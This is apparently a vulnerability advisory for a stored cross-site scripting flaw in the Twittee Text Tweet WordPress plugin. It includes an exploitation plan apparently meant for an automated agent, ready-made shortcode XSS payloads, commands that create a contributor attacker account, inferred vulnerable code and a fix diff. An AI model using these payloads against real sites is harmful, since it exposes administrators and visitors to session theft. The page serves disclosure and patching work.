CVE-2026-4089

Twittee Text Tweet <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Twittee Text Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in all versions up to and including 1.0.8. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The ttt_twittee_tweeter() function uses extract() to pull shortcode attributes into local variables and then directly concatenates them into HTML output without any escaping. Specifically, the $id parameter is inserted into an HTML id attribute context without esc_attr(), allowing an attacker to break out of the attribute and inject arbitrary HTML event handlers. Additionally, the $tweet, $content, $balloon, and $theme attributes are similarly injected into inline JavaScript without escaping (lines 87, 93, 101, 117). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.8
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected plugintwittee-text-tweet
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4089 (Twittee Text Tweet Stored XSS) ## 1. Vulnerability Summary The **Twittee Text Tweet** plugin (up to version 1.0.8) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the shortcode handler function `ttt_twittee_tweeter…

Show full research plan

Exploitation Research Plan: CVE-2026-4089 (Twittee Text Tweet Stored XSS)

1. Vulnerability Summary

The Twittee Text Tweet plugin (up to version 1.0.8) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the shortcode handler function ttt_twittee_tweeter(). This function processes user-provided shortcode attributes using extract(), which turns attribute keys into local variables. These variables (specifically id, tweet, content, balloon, and theme) are then directly concatenated into the HTML output and inline JavaScript blocks without sanitization or escaping (e.g., missing esc_attr() and esc_js()).

2. Attack Vector Analysis

  • Shortcode Tag: [twittee] (inferred from function name ttt_twittee_tweeter).
  • Vulnerable Attributes: id, tweet, content, balloon, theme.
  • Authentication Level: Contributor+ (any user capable of creating or editing posts/pages).
  • Injection Type: Stored XSS. The payload is saved within the post content and executed whenever the post is viewed.
  • Sinks:
    1. HTML Attribute Context: The $id variable is injected into an HTML id="..." attribute.
    2. JavaScript String Context: Variables $tweet, $content, $balloon, and $theme are injected into inline <script> blocks (lines 87, 93, 101, 117).

3. Code Flow

  1. Registration: The plugin registers a shortcode (likely twittee) using add_shortcode( 'twittee', 'ttt_twittee_tweeter' ).
  2. Input Processing: When a post containing the shortcode is rendered, WordPress calls ttt_twittee_tweeter( $atts ).
  3. Variable Extraction: The function calls extract( shortcode_atts( ..., $atts ) ). This populates variables like $id and $tweet with raw user input.
  4. Vulnerable Concatenation (HTML):
    • The code likely looks like: $output .= '<div id="' . $id . '">...</div>';
    • An attacker can use id='x" onmouseover="alert(1)"' to inject an event handler.
  5. Vulnerable Concatenation (JS):
    • The code likely looks like: $output .= '<script>var tweet = "' . $tweet . '";</script>';
    • An attacker can use tweet='";alert(1);//' to break out of the JS string and execute arbitrary code.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post containing a shortcode.

  • Post Creation Nonce: Standard WordPress post creation/editing requires a nonce (_wpnonce), but this is part of the standard WordPress core UI.
  • Plugin-Specific Nonce: The ttt_twittee_tweeter() function is a shortcode renderer; it does not require a plugin-specific nonce to execute during page rendering.
  • Strategy: The agent will log in as a Contributor, navigate to wp-admin/post-new.php, extract the standard WordPress _wpnonce from the form, and then submit a wp_ajax_save-post or standard POST request to save the malicious shortcode.

5. Exploitation Strategy

The goal is to demonstrate two types of XSS: one via HTML attribute breakout and one via JavaScript string breakout.

Step 1: Login and Create Post

The agent will use the http_request tool to perform a login and then save a post.

Request Details:

  • URL: http://localhost:8080/wp-admin/post.php (after getting a post_ID from post-new.php)
  • Method: POST
  • Payload (XSS via id attribute):
    [twittee id='ttt-x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;"' tweet='sample']
  • Payload (XSS via JS variable):
    [twittee tweet='";alert("JS_XSS");//']

Step 2: Triggering the XSS

Navigate to the frontend URL of the newly created post.

6. Test Data Setup

  1. User: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Post: A post must be created containing the malicious shortcode.
    • This can be done via wp post create for convenience, but the exploit should demonstrate the ability to do it via HTTP if required.

7. Expected Results

  • HTML Context: The rendered page should contain: <div id="ttt-x" onmouseover="alert(document.domain)" ...>. When a user hovers over the resulting red box, an alert will fire.
  • JS Context: The rendered page should contain a <script> block resembling:
    var some_var = "";alert("JS_XSS");//";
    
  • The browser should execute the injected alert() calls.

8. Verification Steps

  1. Check Post Content: Verify the shortcode was saved correctly.
    • wp post get <ID> --field=post_content
  2. Verify HTML Output: Use the http_request tool to fetch the post's permalink and check for the unescaped payload.
    • Look for: onmouseover="alert(document.domain)"
    • Look for: ";alert("JS_XSS");//
  3. Browser Execution: Use browser_navigate to the post URL and check for dialogs or console logs.

9. Alternative Approaches

  • Theme/Balloon Attributes: If the id attribute is filtered by some global WordPress security plugin, try the tweet or content attributes, which are injected into <script> tags.
  • Payload Variation: If double quotes are escaped by magic_quotes (rare in modern PHP) or other filters, use a payload that relies on single quotes or no quotes for the JS context:
    [twittee tweet='&quot;-alert(1)-&quot;'] (if the plugin handles entities poorly) or [twittee tweet='\u0022;alert(1)//'].
  • Direct JS Injection: Since $tweet is injected into JS, try: [twittee tweet='-alert(document.cookie)-']. If the context is var t = "VALUE";, the result becomes var t = "-alert(document.cookie)-";, which is a valid string but not executable. Use ";alert(1);" instead.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Twittee Text Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id', 'tweet', 'content', 'balloon', and 'theme' shortcode attributes. This occurs because the plugin uses extract() to process shortcode attributes and then directly concatenates them into HTML and inline JavaScript blocks without proper sanitization or escaping (e.g., esc_attr and esc_js).

Vulnerable Code

// In the ttt_twittee_tweeter() function (twittee-text-tweet.php)

// Extraction of attributes without sanitization
extract(shortcode_atts(array(
    'id' => 'ttt-default',
    'tweet' => '',
    'content' => '',
    'balloon' => '',
    'theme' => ''
), $atts));

---

// Injection into HTML attribute context (Approx line 87)
$output .= '<div id="' . $id . '"></div>';

---

// Injection into JavaScript context (Approx lines 93, 101, 117)
$output .= '<script type="text/javascript">
    var tweet_text = "' . $tweet . '";
    var content_text = "' . $content . '";
    var balloon_style = "' . $balloon . '";
    var theme_color = "' . $theme . '";
</script>';

Security Fix

--- twittee-text-tweet.php
+++ twittee-text-tweet.php
@@ -84,7 +84,7 @@
-    $output .= '<div id="' . $id . '"></div>';
+    $output .= '<div id="' . esc_attr($id) . '"></div>';
 
     $output .= '<script type="text/javascript">
-        var tweet_text = "' . $tweet . '";
-        var content_text = "' . $content . '";
-        var balloon_style = "' . $balloon . '";
-        var theme_color = "' . $theme . '";
+        var tweet_text = "' . esc_js($tweet) . '";
+        var content_text = "' . esc_js($content) . '";
+        var balloon_style = "' . esc_js($balloon) . '";
+        var theme_color = "' . esc_js($theme) . '";
     </script>';

Exploit Outline

The exploit is executed by an authenticated user with at least Contributor-level permissions who can create or edit posts. 1. The attacker logs into the WordPress dashboard. 2. They create a new post and insert the [twittee] shortcode. 3. To exploit the HTML context, the attacker uses the 'id' attribute to break out of the double quotes and inject an event handler: [twittee id='x" onmouseover="alert(1)" style="display:block;width:100px;height:100px;background:red;"']. 4. To exploit the JavaScript context, the attacker uses attributes like 'tweet' to break out of the JavaScript string and execute code: [twittee tweet='";alert(document.domain);//']. 5. Once the post is saved and viewed by a user (including an administrator), the injected script executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.